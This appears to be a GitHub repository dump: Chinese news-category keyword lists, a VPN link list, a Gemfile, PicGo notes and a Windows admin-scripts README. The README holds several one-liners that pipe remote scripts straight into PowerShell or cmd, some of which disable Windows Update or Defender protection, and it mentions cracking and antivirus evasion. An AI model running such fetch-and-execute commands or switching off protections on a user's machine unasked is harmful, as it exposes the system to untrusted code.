"悉尼海港大桥", "佩特拉", "牛津大学", "伊斯坦布尔", "喀纳斯", "凯旋门", "阿姆斯特丹", "自由女神", "日本富士山", "迪拜塔", "哈瓦那", "大本钟", "奇琴伊察", "南极洲", "塞班岛", "美国自由女神像", "下龙湾", "鱼尾狮", "布宜诺斯艾利斯", "纽约自由女神像", "爱丁堡", "温莎城堡", "张家界", "蓝湖", "海洋生物馆", "少女峰", "阿尔泰山脉", "加勒比", "清教", "穆斯林", "教会", "教皇", "基督教", "百慕大", "中美", "中俄", "中印", "中巴", "中韩", "中欧", "美俄", "美英", "俄", "梅德韦杰夫", "俄米", "美日", "印巴", "巴西", "俄土", "俄乌", "德法", "意法", "英法", "德国", "窜台", "法国", "英国", "朝鲜", "蒙古国", "美国", "恐怖主义", "驻非", "英属", "美属", "演变", "伊朗", "以色列", "巴勒斯坦", "叙利亚", "土耳其", "阿拉伯", "阿富汗", "中东", "南非", "苏丹", "阿根廷", "澳大利亚", "奥地利", "孟加拉国", "白俄罗斯", "比利时", "贝宁", "玻利维亚", "保加利亚", "孟加拉", "加拿大", "智利", "中国", "哥伦比亚", "刚果共和国", "古巴", "捷克", "丹麦", "多米尼加共和国", "厄瓜多尔", "埃及", "萨尔瓦多", "英格兰", "芬兰", "加纳", "希腊", "危地马拉", "几内亚", "海地", "洪都拉斯", "匈牙利", "冰岛", "印度", "印度尼西亚", "伊拉克", "爱尔兰", "意大利", "牙买加", "日本", "约旦", "哈萨克斯坦", "肯尼亚", "科索沃", "科威特", "吉尔吉斯斯坦", "老挝", "拉脱维亚", "黎巴嫩", "利比里亚", "利比亚", "立陶宛", "卢森堡", "马其顿", "马达加斯加", "马来西亚", "马里", "墨西哥", "摩尔多瓦", "摩洛哥", "缅甸", "纳米比亚", "尼泊尔", "荷兰", "新西兰", "尼日尔", "尼日利亚", "北朝鲜", "挪威", "巴拿马", "巴拉圭", "秘鲁", "波兰", "葡萄牙", "波多黎各", "卡塔尔", "罗马尼亚", "沙特阿拉伯", "塞内加尔", "塞尔维亚", "塞拉利昂", "新加坡", "斯洛伐克", "斯洛文尼亚", "索马里", "韩国", "西班牙", "瑞典", "越南", "霸权", "驻加", "驻美", "驻军", "展出", "台湾", "中华民国", "流亡", "达赖", "法轮功", "悉尼", "迪拜", "墨尔本", "政变", "驻韩", "驻日", "暴动", "博物馆", "俄罗斯", "乌克兰", "美日韩", "台美", "美台", "俄军", "前线", "人造", "阵地", "危机", "双边", "放宽", "塔利班", "暗杀", "屠杀", "镇压", "卢浮宫", "时报", "电讯", "邮报", "新华", "人民网", "京都", "东京", "冲绳", "中日", "驻华", "国台办", "阿拉斯加", "名画", "遭袭", "沙利文", "中非", "非洲", "马六甲", "海峡", "苏伊士", "行政院", "北极", "华尔街", "华人", "华侨", "阿联酋", "夏威夷", "多伦多", "驻菲", "驻印", "文物", "出警", "纽约", "日裔", "侨胞", "北约", "联合国", "军事", "演习", "陆战", "空降", "金门", "台北", "台南", "新竹", "三重", "反叛", "罢工", "外交官", "空袭", "南美", "韩裔", "关押", "台胞", "台海", "两岸", "台媒", "高度", "中马", "蔡英文", "外媒", "部队", "外交部", "部长", "战略", "合作", "基辅", "大使馆", "国宝", "内阁", "拜相", "种族", "非裔", "获释", "独裁", "法西斯", "共赢", "领导人", "会晤", "间谍", "中南海", "装甲", "东瀛", "边境", "难民", "殃及", "战斗机", "领空", "领海", "南海", "北海", "巡洋", "商议", "群岛", "诸岛", "911", "五角大楼", "保释", "各国", "诸国", "打造", "万国", "南朝鲜", "击穿", "狙击", "暴民", "威慑", "民愤", "征兵", "金正恩", "乌方", "冲突", "袭击", "目击", "外交", "组织", "南沙群岛", "特拉斯", "佩洛西", "元帅", "两弹", "元首", "师长", "访台", "菲律宾", "北非", "飞地", "国中国", "梵蒂冈", "莫斯科", "东非", "西非", "东欧", "西欧", "北欧", "旧金山", "格林兰岛", "巴以冲突", "导火索", "北溪", "切尔诺贝利", "王毅", "耶伦", "东盟" ], "社会": [ "纵火", "偷窃", "持刀", "打劫", "性侵", "下流", "产权", "猥亵", "涉事", "民房", "要挟", "工房", "转让", "摊位", "医患", "每斤", "患者", "父子", "暴雪", "暴雨", "大雨", "香港", "广场舞", "广场", "病人", "医生", "医闹", "厂房", "收割", "父女", "鱼刺", "卡喉", "组建", "过世", "过时", "署名", "过期", "诬告", "捏造", "烟酒", "槟榔", "组团", "罚金", "落水", "村民", "案件", "开除", "员工", "溺亡", "过户", "户口", "户籍", "仓库", "仓库", "仓", "民工", "纠缠", "客轮", "追债", "威胁", "超标", "该罚", "烈士", "建立", "贫困", "贫", "深夜", "孤身", "破口", "公证", "异物", "遗物", "洗钱", "危害", "遗照", "泄漏", "监狱", "违规", "合规", "借贷", "纹身", "施工", "修路", "抢修", "助学", "高利贷", "拘留", "行政", "处罚", "刑事", "犯人", "关押", "泄露", "政策", "三和", "五和", "法院", "法庭", "捐献", "资助", "自助", "信息", "天价", "入境", "出境", "扫黄", "打非", "赌债", "集体", "隐私", "教师", "辅导员", "坠落", "整容", "房子", "整形", "整骨", "母女", "母子", "不雅", "辅导", "名表", "逃债", "涉及", "全国", "生前", "放纵", "悼念", "治安", "合法", "改装", "放火", "村霸", "楼霸", "老师", "流落", "洗稿", "刺客", "喝酒", "江歌案", "嫖娼", "误入", "吸毒", "争执", "作恶", "死", "口角", "保洁", "误杀", "误伤", "色鬼", "清华大学", "北京大学", "伤", "泥石流", "受灾", "冰灾", "洪灾", "讲述", "局长", "危及", "虚假", "庄稼", "摊主", "厅长", "差生", "周年", "尖子生", "农管", "宰客", "宰猪", "宣传", "阴道", "阴部", "卵巢", "受精", "发车", "钟点", "钟点工", "缓刑", "截肢", "区长", "省长", "检察长", "博览", "军长", "女权", "沈阳", "男权", "本科", "专科", "求职", "招生", "气功", "扩招", "央企", "风能", "水能", "电能", "煤气", "太阳能", "灶", "国企", "恒大", "航空", "知名", "姐弟", "坠亡", "铁路", "强制", "措施", "熬夜", "高铁", "火车", "民警", "社保", "个人", "违禁", "祭奠", "紧迫", "击毙", "刺杀", "抢劫", "砍死", "杀人", "杀人案", "砍人", "烧伤", "凶杀案", "凶手", "嫌犯", "罪犯", "犯罪", "歹徒", "执法", "边界", "租房", "中介", "警方", "人员", "断亲", "晚点", "飞机", "交警", "潮汕", "承认", "济南", "禁品", "腰斩", "国庆", "蛇肉", "猴脑", "五一", "车祸", "坠楼", "爆炸", "火灾", "地震", "拜金", "去世", "厘清", "被执行", "住建局", "沦为", "无罪", "驾驶", "逃逸", "驶入", "条子", "免罚", "军痞", "痞子", "痞", "地痞", "溜子", "街溜子", "精神小伙", "适用", "员工", "江西", "公安", "公职", "确诊", "正当", "解封", "杀害", "误触", "误碰", "误吞", "失踪", "遇害", "被害", "遇难", "脱险", "PTSD", "后遗症", "夜生活", "小区", "银行", "合理", "冻结", "中小学", "商业广告", "哈尔滨", "重大", "教授", "网暴", "检举", "野生", "招聘", "编制", "吞食", "落户", "打架", "斗殴", "和解", "出没", "追砍", "会羡慕", "一夜", "否认", "逼近", "植入", "逼近", "通报", "批评", "开庭", "淄博", "湖南", "坐牢", "研究生", "博士", "伤害", "残忍", "最高法", "护士节", "男子", "女子", "老人", "小孩", "业主", "居委会", "物业", "九寨沟", "土匪", "悍匪", "高空", "扔狗", "抛物", "动手", "店家", "警局", "青岛", "断绝", "碎尸", "无名", "教育", "毒打", "元旦", "惨痛", "法典", "牙齿", "车位", "清瘟", "辟谣", "宣判", "逼近", "官方通报", "未收到赔偿", "称不排除", "矛盾升级", "申请强执", "女大学生", "被判赔", "安徽", "违停", "纠纷", "受辱", "挑断", "举报", "牙医", "霸占", "布洛芬", "当事双方", "交管", "总额已近", "跌破", "归还", "涨停", "视频曝光", "进驻", "吸脂", "抽血", "抽样", "抽脂", "诈骗", "缅北", "柬埔寨", "东南亚", "黑马", "媒体", "金饰", "黄金", "油箱", "社会", "推销", "住房", "传销", "割肾", "割手", "割去", "被割", "割脚", "割头", "削头", "削手", "削脚", "砍手", "砍脚", "砍头", "低俗", "不孝", "痴汉", "离谱", "奸杀", "奸夫", "淫妇", "色狼", "含冤", "错案", "实名", "幼儿", "挑逗", "片仔癀", "癀", "金条", "猪肉", "牛肉", "蔬菜", "房价", "非法", "集资", "赌债", "黄赌毒", "淫秽", "色情", "香港", "司法部", "被取消", "淫乱", "入狱", "特招", "空难", "幼小", "不慎", "雪灾", "律师", "西湖", "报复", "罗翔", "董事", "公交", "副总", "南京", "生育", "伸张", "特供", "毒蛇", "经理", "感冒", "5121428", "东莞", "巨款", "负责", "天网", "自毁", "偷税", "替考", "代考", "航班", "午睡", "门票", "这届", "为了", "快手", "美团", "外卖", "人口", "出生率", "就业", "弑夫", "读书", "空轨", "择校", "补贴", "新能源", "城乡", "建设", "承担", "行凶", "冤假", "漏税", "代招", "浮冰", "抗原", "核酸", "长租", "曝雷", "发声", "却费", "意义", "发育", "成本", "长假", "卖淫", "补班", "弑母", "调休", "工资", "酒托", "敬酒", "陪酒", "婚闹", "大妈", "名媛", "猪手", "未遂", "依法", "活埋", "直招", "性虐", "难求", "金手镯", "咨询", "出游", "高烧", "努力", "躺平", "佛系", "死角", "万科", "城中村", "老赖", "征信", "疯抢", "抢光", "一空", "医保", "待业", "聚众", "拍卖", "落网", "被查", "纳税", "爆胎", "泛滥", "大力", "多年", "失散", "失联", "消防", "打砸抢", "殴打", "拘留", "判刑", "通缉", "市长", "院长", "校长", "村长", "县长", "新冠", "三胎", "毒死", "闯入", "所得税", "执照", "感染", "流行", "留学生", "打工", "微信", "虐猫", "绑架", "持枪", "秒空", "售", "霸", "骑手", "万元", "亿元", "河内", "一胎", "二胎", "多胎", "逝世", "押运", "闯红灯", "中暑", "多万", "过亿", "妨碍", "当事", "乘客", "司机", "网约", "网恋", "奔现", "统计局", "普查", "遛狗", "手淫", "咬伤", "事故", "失明", "中毒", "下毒", "恶毒", "偷猎", "酒驾", "跳楼", "手续", "办理", "最美", "环卫", "餐饮", "炒地", "炒股", "地皮", "实体", "实业", "实干", "喜茶", "自慰", "奈雪", "蜜雪冰城", "音乐家", "指挥家", "作家", "网文", "炒作", "违法", "犯罪", "惨不忍睹", "酒后驾驶", "冻死", "天价", "买房", "躲避", "搜查", "查处", "公布", "全省", "烟草", "药物", "堕胎", "病毒", "冰毒", "大麻", "可卡因", "海洛因", "毒品", "缴获", "偷渡", "歹毒", "拘禁", "世事", "狩猎", "校方", "不治", "追查", "事件", "进展", "民心", "全力", "暴乱", "踩踏", "死亡", "自杀", "袭警", "黑人", "白人", "松口", "种牙", "门诊", "黄牛", "碾压", "投毒", "人间", "少管所", "女婴", "男婴", "听证会", "致死", "路人", "砸中", "脱逃", "尾随", "崩溃", "暴力", "校园", "欺凌", "霸凌", "脱衣", "掌掴", "高中生", "摆摊", "景点", "人人人", "导游", "拥堵", "公诉", "身亡", "袭胸", "养老", "敬老院", "看守所", "婴儿", "交通", "粮食", "人群", "预计", "估计", "伤势", "救援", "暴雨", "大雪", "大风", "冰雹", "同城", "特大", "预警", "沙尘", "雾霾", "高温", "最热", "空调", "停电", "干旱", "曹操", "官窑", "撞死", "施虐", "亲戚", "孕妇", "自残", "救灾", "抢险", "物资", "居民", "街道", "动荡", "治理", "黄河", "长江", "洞庭湖", "流感", "塌方", "被埋", "窒息", "三口", "轮奸", "打砸", "砍断", "被撞", "无辜", "虐待", "邻居", "让座", "喜马拉雅", "枪击", "裸照", "降雨", "北川", "台风", "交通", "行驶", "驾驶", "骑乘", "巡逻", "被捕", "前妻", "逃过", "事发", "落水", "核实", "出版社", "记者", "癌", "过劳", "卧轨", "器官", "抽打", "街景", "外包", "绝食", "侵犯", "自闭", "离校", "逃学", "抑郁", "致残", "残废", "地沟", "积水", "井盖", "高压", "服务", "集会", "大规模", "焊死", "连云港", "子宫", "自宫", "性偶", "腐烂", "施暴", "畏罪", "小弟", "冰山", "教养", "素养", "制造业", "双腿", "双手", "道歉", "警报", "便宜", "进口", "破产", "备考", "学子", "透露", "退休", "山体", "滑坡", "心狠", "恶狠", "恶臭", "在逃", "马仔", "交配", "共青团", "园区", "百分点", "全年", "季度", "围挡", "地方", "监控", "网格员", "高校", "学院", "外借", "考公", "国考", "人头", "尸臭", "受虐", "自首", "法官", "独木桥", "千军万马", "比尔·盖茨", "比尔盖茨", "对话", "首例", "洲际", "工信部", "稳定器", "温州", "车手", "货拉拉", "飞车", "快递", "被欺", "肢解", "踩断", "分期", "跨省", "无头", "腐臭", "越狱", "黑厂", "禁毒", "摩托", "刑事", "当事人", "被害人", "强奸", "家属", "争夺", "财产", "遗产", "上诉", "帮凶", "烧烤", "女性", "劳动", "合同", "解除", "赔偿", "猛踢", "飞踹", "追捕", "赝品", "服刑", "黑产", "调查", "沃尔玛", "山姆", "超市", "小伙", "功德箱", "老大", "黑老大", "女尸", "男尸", "海底捞", "偷倒", "摸胸", "抢救", "医治", "心梗", "脑血栓", "盗窃", "翻供", "假货", "受孕", "群殴", "缉拿", "灰厂", "金价", "楼扔", "卡拉OK", "歌舞厅", "扣押", "网吧", "酒吧", "楼丢", "起诉", "万元课", "捡垃圾", "下跪", "求饶", "外国人", "猥琐", "面试", "公寓", "护士", "幼师", "洗脑", "信用卡", "法网", "人工", "黑社会", "打印", "打骂", "体罚", "防卫", "不便", "重阳", "中秋", "展示", "女童", "力竭", "报警", "小哥", "拽回", "拉扯", "厮打", "茶颜悦色", "12306", "平冤", "烟厂", "侍养", "古惑仔", "仇杀", "大V", "老鼠", "鼠患", "蝗虫", "蝗灾", "飞蚁", "蚁患", "蚂灾", "白蚁", "强暴", "局面", "失控", "遭拘", "还手", "拐卖", "教唆", "空城", "空巢", "鬼城", "客运", "客流", "唆使", "惯犯", "留守", "拐骗", "案底", "迷药", "伟哥", "催情", "躲债", "精油", "险境", "垂危", "移民", "一站式", "服侍", "起火", "情杀", "青少年", "中年", "大学生", "市民", "村民", "财政", "人脉", "医学", "涉及", "市中心", "食品", "水果", "牛奶", "乳制品", "经济", "损失", "交代", "围殴", "发售", "赌场", "雪崩", "处分", "产量", "累计", "浪费", "怀孕", "教育部", "疾控", "变态", "缉毒", "刑侦", "追回", "被判", "药监局", "汪曾祺", "不实", "虐杀", "属实", "命案", "父母", "农户", "实习", "医生", "医院", "学校", "企业", "代工", "临时工", "建筑", "耗材", "钢铁", "风力", "水利", "水力", "大坝", "家禽", "商家", "虎门", "编造", "公交站", "机场", "列车", "轮船", "船运", "渔业", "沿海", "停靠", "旅舍", "旅社", "潜逃", "走读", "寄宿", "复读", "挂科", "择业", "祥子", "阿Q", "孔乙己", "强行", "联手", "蜜蜂", "江歌", "市监局", "官方", "证实", "案中案", "麻将", "传染", "二阳", "复阳", "胁迫", "立案", "敏感", "触碰", "过失", "寻人", "寻亲", "走丢", "走失", "骚扰", "电信", "白菜", "消协", "暴雷", "211", "离职", "农民", "顾客", "不满", "老夫", "老妻", "丧生", "风险", "大爷", "小车", "殒命", "丧命", "乱伦", "失身", "散失", "烧杀", "厕所", "脚踩", "恋童", "禁锢", "人身", "人性", "抢空", "隐患", "繁育", "985", "腰子", "卖血", "卖肾", "头皮", "断脚", "断手", "切断", "戳瞎", "刺穿", "贯穿", "祭祖", "管制", "小贩", "城管", "下体", "不雅", "公务员", "电瓶", "共享", "男性", "售窑", "售空", "售罄", "洒落", "售缶", "排班", "常青藤", "呕吐", "常春藤", "C9", "防汛", "交友", "驴友", "陌陌", "脉脉", "soul", "Soul", "摇一摇", "艾滋", "埃博拉", "师范", "师表" ], "财经": [ "市值", "股价", "海域", "波及", "增长", "股权", "周小川", "央行", "行长", "收购", "首钢", "招商", "湿地", "大户", "财新", "放牧", "半数", "补贴", "基准", "每升", "每克", "美债", "熔断", "增持", "行情", "行业", "挂牌", "停牌", "吊销", "20%", "90%", "80%", "1%", "%", "成立", "集约", "清仓", "燃油", "城投", "荒漠", "利率", "胚胎", "评估", "评级", "水田", "郭台铭", "捕鱼", "资金", "杂交", "引资", "转型", "林业", "蔚来", "小鹏", "智造", "因子", "A股", "机器", "工业", "鸿海", "富士康", "推特", "红米", "蓝图", "一汽", "化工", "制造", "低端", "雷军", "联想", "电动车", "欧盟", "小米", "华为", "马斯克", "特斯拉", "比亚迪", "腾讯", "阿里", "vivo", "科普", "oppo", "一加", "余承东", "爱奇艺", "阅文", "蚕业", "水稻", "小麦", "油菜籽", "畜牧", "中药", "西药", "蜂农", "蜂业", "罐头", "水产", "海藻", "栽培", "鸭养", "食用菌", "益生菌", "鹅养", "禽肉", "物流", "供应链", "乳制品", "豆制品", "虫草", "茶油", "化肥", "甘蔗", "花卉", "关键期", "港口", "免税", "配种", "并购", "种植", "同期", "合资", "设厂", "储汇", "储值", "抛售", "熊市", "牛市", "院士", "加息", "内耗", "做空", "减息", "经济学", "一桶", "深股", "加仓", "达沃斯", "经贸", "万亿级", "冲击", "电芯", "产能", "产业", "失范", "失衡", "纳斯达克", "深交所", "港股", "沪深", "上交所", "紧缩", "外汇", "开盘", "石油", "盎司", "贬值", "智库", "劳资", "芯片", "库克", "存储", "合算", "采样", "分析", "预测", "收盘", "缩水", "减持", "持股", "买入", "储蓄", "降幅", "上市", "美联储", "日经", "增值", "经合", "养殖", "讯飞", "安恒", "终端", "核算", "分类", "计算", "排放", "跌停", "证券", "交易所", "GDP", "财经", "股神", "散户", "巴菲特", "芒格", "旺季", "淡季", "按揭", "世贸", "培育", "外资", "李书福", "拱火", "烧钱", "抽检", "滑铁卢", "保险", "理财", "收益", "股份", "入股", "出资", "通胀", "央行", "财商", "韭菜", "人民币", "购车", "B股", "培养", "领英", "小红书", "疫苗", "汇总", "余额", "行长", "中信", "回购", "股票", "控股", "ST", "拟减", "额度", "期货", "扫货", "同比", "新台币", "国资", "茅台", "曹德旺", "房产", "房地产", "总计", "评级", "国债", "交易", "投资方", "贸易", "花呗", "医疗", "健康", "金融", "美元", "白酒", "葡萄酒", "世博会", "药业", "低谷", "寒武纪", "合计", "存款", "上涨", "下滑", "下跌", "断崖式", "资本", "入局", "资本局", "指数", "利润", "大幅", "库存", "杠杆", "精密", "代工", "代工厂", "国营", "私有", "民营", "集团", "电池", "光伏", "超充站", "加油站", "油价", "幅度", "业务" ], "话题": [ "?", "?", ":", ":", "#", "@", "!", "!", "1", "3", "5", "6", "8", "35", "36", "55", "50", "60", "65", "315", "996", "2333", "1984", "4399", "8848", "2020", "九千九百九十九", "iPhone", "SB", "Mac", "恢复", "持续", "终究", "区别", "情侣", "真香", "傻逼", "逗逼", "后浪", "对于", "团购", "冷淡", "澄清", "拼单", "没有", "哪", "哪些", "有何", "...", "......", "值得", "逆转", "真相", "有关", "千年一遇", "百年一遇", "逆风", "卷入", "12", "666", "六一八", "双十二", "双十一", "愚人节", "儿童节", "六一", "老六", "圣诞节", "国庆节", "劳动节", "万圣节", "618", "520", "521", "1111", "情人节", "母亲节", "父亲节", "春节", "元宵", "清明", "端午", "七夕", "中秋", "重阳", "冬至", "腊八", "小年", "除夕", "土著", "通报", "宣布", "谈", "曾是", "曾经", "曾", "本地", "线下", "下线", "线上", "上线", "专属", "状态", "而已", "景区", "强", "热议", "太", "弱", "歌会", "鲁迅", "周树人", "抱佛脚", "引领", "参拜", "清华", "涉嫌", "反响", "公共", "影响", "干涉", "负面", "积极", "抽烟", "吸烟", "正面", "正能量", "北大", "知情", "拜佛", "首发", "抢先", "率先", "滋事", "聚众", "众议", "众人", "求佛", "名誉", "肖像", "菩萨", "香火", "诽谤", "胖", "熊猫", "母校", "红十字", "慈善", "捐赠", "惹", "照片", "瘦", "青年", "老年", "长者", "世俗", "葫芦", "济公", "如来", "孙悟空", "祖师", "老祖", "太上老君", "菩提", "剪纸", "风俗", "民俗", "露面", "舆论", "秘书", "少年", "占中", "基地", "赞", "甲方", "乙方", "绝", "只是", "占有", "仅是", "仅", "只有", "港独", "竟然", "竟是", "藏独", "嚣张", "言论", "危机", "反共", "不当", "叫嚣", "受众", "反击", "攻击", "反攻", "对策", "决策", "策略", "公关", "态度", "嘲讽", "嘲笑", "讥笑", "讥讽", "讽刺", "台独", "首次", "和服", "汉服", "第一次", "首届", "致敬", "成绩", "何", "秒删", "怀疑", "两岸", "交流", "猜疑", "顾虑", "猜忌", "嫉妒", "羡慕", "进展", "发展", "后续", "焦点", "聚焦", "称赞", "交口", "回顾", "频发", "消失", "18", "16", "14", "成人", "成年", "事件", "删", "删帖", "撤回", "撤", "纠葛", "瓜葛", "瓜分", "平均", "延迟", "回怼", "秒回", "怼", "抄袭", "疑似", "疑", "疑是", "传", "可疑", "疑问", "追问", "调休", "延期", "放缓", "抢票", "哄抢", "一斤", "斤", "缘分", "缘", "因缘", "因为", "因故", "以为", "争议", "抢", "争执", "谁", "究竟", "到底", "缘何", "争论", "纷争", "议论", "什么", "吃瓜", "引起", "生娃", "年轻人", "你猜", "我猜", "内卷", "内耗", "普通", "焦虑", "大家猜", "摸鱼", "围观", "猜", "年轻", "是否", "应该", "该", "评", "推断", "专家", "分析", "自称", "称", "为什么", "单身", "这是", "发展", "体验", "盘点", "怎", "怎样", "如何", "如", "若", "若是", "假设", "点出", "这个", "问题", "回复", "答复", "回答", "帮", "减", "吗", "吧", "这", "这些", "道歉", "减掉", "系", "负责", "携手", "辟谣", "造谣", "谣言", "发声", "走来", "38000", "8000", "3000", "6000", "100", "一百", "六千", "八千", "三千", "一千五百", "两千五百", "2500万", "2500", "1500", "胡锡进", "1万", "一万", "女儿", "儿子", "男童", "女童", "网传", "男孩", "女孩", "过万", "未来", "回应", "父亲", "多少", "多", "最棒", "最强", "最高", "最靓", "最帅", "最深", "最厚", "最大", "最少", "最难", "最惨", "最丑", "最屌", "很高", "很好", "很差", "很低", "最", "复旦大学", "复旦", "上海交通大学", "交大", "浙江大学", "浙大", "南京大学", "南大", "中国科学技术大学", "中科大", "哈尔滨工业大学", "哈工大", "同济大学", "同济", "天津大学", "天大", "华中科技大学", "华中科大", "西安交通大学", "东南大学", "东大", "中山大学", "中山", "武汉大学", "武大", "四川大学", "川大", "南开大学", "南开", "厦门大学", "厦大", "北京航空航天大学", "北航", "电子科技大学", "电子科大", "华南理工大学", "华南理工", "吉林大学", "吉大", "西北工业大学", "西工大", "北京师范大学", "北师大", "十大", "天才", "神童", "一遇", "百年", "千年", "万年", "亿年", "世纪" ] } ================================================ FILE: AQUICK/readme.md ================================================ 图片存档 机场 VPN * https://jichangvpn.github.io * https://glados.rocks * https://samsock.chat * https://sjssr.fun/ info@westworldss.com * https://ikuuu.pw find@ikuuu.pro * https://samsock.chat ================================================ FILE: Gemfile ================================================ source 'https://rubygems.org' gem 'nokogiri' gem 'open-uri' gem 'spreadsheet' gem 'selenium-webdriver' gem 'danmu' gem 'rmmseg' gem 'mechanize' gem 'axlsx' gem 'httparty' gem 'clipboard' ================================================ FILE: PICGO.md ================================================ ## PicGo **⚠️ 需注意:上传文件名重复的文件会有报错。** picgo 有squoosh压缩图片神器批量压缩图片并上传,节约图床存储空间。而且删除本地相册文件不影响远程图床仓,方便查找预览以及快速浏览。 返回路径为 ``` https://raw.githubusercontent.com/username/repo/main/dir/file.png ``` 须要将链接批量转成cdn https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/AQUICK/taipei.png ## 批量转cdn链接(自定义域名即可) 将`https://raw.githubusercontent.com/`替换成 `https://cdn.jsdelivr.net/gh/` 例子 ``` https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple ``` ## 整合 picgo ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/true-picgo.png) squoosh ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/squooshyes.png) typora的设置 ![](https://cdn.jsdelivr.net/gh/hoochanlon/ihs-simple/AQUICK/typora-set-ihs-pic.png) 一套操作下来,这样就可以复制粘贴到typora,picgo插件squoosh压缩图片,并上传到GitHub,用cdn返回链接了。nice。 ================================================ FILE: README.md ================================================ ## 免责声明:所有内容仅面向信息研究、学习交流等,正常合规化使用。谢谢。 ## 前言 项目涉及跨学科信息化综合应用与分析:桌面基线排查、软件激活破解、免杀及特权执行、渗透式支援固件识别读写、主机账户密码空值检测、Wi-Fi密码扫描、云主机终端安全加固、主机系统日志分析、自然语言处理、人文社科信息数据分析等。 * 系统平台:Windows/Mac/Linux;脚本语言:多种、不限;我流,按需编写。 * 研究对象:基础信息自动化、云主机/本地桌面安全处理、社会科学信息化及数据分析。 项目代码涉及到部分组件版本兼容问题 点击此处;关于ipynb无法在GitHub进行预览,[请查看这里](https://blog.reviewnb.com/jupyter-notebook-not-rendering-on-github/);生成自动化信息处理报表内容,可查阅 [d-xlsx](./d-xlsx) 目录了解详情。 ## Windows server域控 域管理员的一些日常操作记录。
点击详情 脚本位置: * https://github.com/hoochanlon/scripts/tree/main/d-python-dc * https://github.com/hoochanlon/scripts/tree/main/d-pwsh-dc * https://github.com/hoochanlon/scripts/tree/main/d-bat-dc 图文版: * [实现给域控电脑屏幕加水印的代码,适用于内网办公环境](https://github.com/hoochanlon/scripts/tree/main/d-python-dc/watermark) * [吾爱破解论坛 - 【powershell】根据文本内容批量添加相关权限](https://www.52pojie.cn/thread-1981245-1-1.html) * [吾爱破解论坛 -【powershell】转换文件夹安全权限为对应的共享权限(项目)](https://www.52pojie.cn/thread-1980549-1-1.html) * [吾爱破解论坛- 查看用户在哪些共享文件夹涉及相关权限,以及移除相关权限](https://www.52pojie.cn/thread-1979992-1-1.html) * [吾爱破解论坛 - 一个简单的域账户导出脚本小记(需配合正则)](https://www.52pojie.cn/thread-1979794-1-1.html) * [吾爱破解论坛 - 【powershell】域用户人员增删、文件授权、组织单元与域用户恢复](https://www.52pojie.cn/thread-1976184-1-1.html)
## 数通自动化 ENSP启动设备失败,输入如下指令,然后重启电脑。 ``` bcdedit /set hypervisorlaunchtype off ``` 记录备份交换机配置,频繁切换内外网等操作。
点击详情 脚本位置: * https://github.com/hoochanlon/scripts/tree/main/d-python-datacom 图文版: * [吾爱破解论坛 - 单个与批量交换机配置备份](https://www.52pojie.cn/thread-1984161-1-1.html) * [吾爱破解论坛 - 批量上传交换机配置到本地FTP](https://www.52pojie.cn/thread-1984471-1-1.html) (另一种方式见:[交换机FTP服务器下载备份文件到本地.py](https://github.com/hoochanlon/scripts/blob/main/d-python-datacom/%E4%BA%A4%E6%8D%A2%E6%9C%BAFTP%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8B%E8%BD%BD%E5%A4%87%E4%BB%BD%E6%96%87%E4%BB%B6%E5%88%B0%E6%9C%AC%E5%9C%B0.py)) * [吾爱破解论坛 - 写了个自动切换内外网的脚本](https://www.52pojie.cn/thread-1986389-1-1.html)
## Windows桌面技术基线检查 首先,确保你的系统已开启 PowerShell * **打开PowerShell功能:`Set-ExecutionPolicy RemoteSigned`** * ***关闭PowerShell功能:`Set-ExecutionPolicy Restricted`***
点击详情 一键使用,本地下载使用转GB2312编码 图文版

irm https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-pwsh/frontline_helpdesk.ps1|iex
功能概览:
  1. 检查IP与网络设备连接近况
  2. 检查打印机、打印池、扫描仪状态
  3. 检查硬盘、CPU、内存、显卡等基础驱动信息
  4. 检查设备安全性、近期升级补丁、定时任务项、证书策略、系统核心文件控制访问状况
  5. 检查主机主动共享协议相关信息
  6. 检查电脑休眠、重启频次、异常关机、程序崩溃等信息
  7. 执行1~6选项的所有功能
  8. 生成"设备驱动检查"、"五天内预警事件"、"登录登出活动记录"、"月度已存威胁概况"分析报表
  9. 查看指导建议与开发说明
BTW Linux基线检查(PR)见:al0ne/LinuxCheck。对于Mac来说,这些安全服务的维护成本,不适用于中小企业。 大环境下,这篇文章 CSDN - 企业管理Mac电脑的三种方式提及的管理办法,都算得上是防控得当,可对比Windows来说,却挺不够看的。
## Windows 企业基础环境需求 主要涉及: * IE、Windows defender、Windows更新、Flash & Chrome v87、钉钉静默安装、打印机自动化安装 * 文件校验工具:MD5、SHA1、SHA256 哈希值计算、比较、校验工具。 * C盘空间释放:钉钉、微信、Foxmail本地缓存、Windows.old、Windows升级日志、文件等一键清理工作(C盘灭霸脚本)。 * 应聘岗位基础技能、IQ 与 EQ 测评、薪资范围选定汇总及需求分析。
点击详情

IE防Edge劫持 图文版

curl -L  https://ghproxy.com/https://github.com/hoochanlon/scripts/raw/main/d-bat/keep_ie.bat|cmd

计算IE兼容视图网站hex,一键使用,本地使用需转GB2312编码再运行。


irm https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-pwsh/clac_ie_clearablelistdata_hex.ps1|iex

一键永久关闭Windows更新设置 图文版

curl -L  https://ghproxy.com/https://github.com/hoochanlon/scripts/raw/main/d-bat/stop_update.bat|cmd

一键恢复被关闭的Windows更新设置

curl -L  https://ghproxy.com/https://github.com/hoochanlon/scripts/raw/main/d-bat/re_update.bat|cmd

一键开启或关闭Windows defender实时保护(已失效,建议使用sordum.org/defender-control

curl -OfsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/choice_wdrt.bat&&call choice_wdrt.bat

C盘灭霸脚本:钉钉、微信、Foxmail本地缓存、Windows.old、Windows升级日志、文件等一键清理工作

curl -OfsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/mieba.bat&&call mieba.bat

一键调用设置程序是否以管理员权限运行

curl -OfsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/nano_runas.bat&&call nano_runas.bat

一键调用md5、sha1、sha256文件检测工具

curl -OfsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/md5tools.bat&&call md5tools.bat

一键安装flash以及配置支持的87版Chrome浏览器

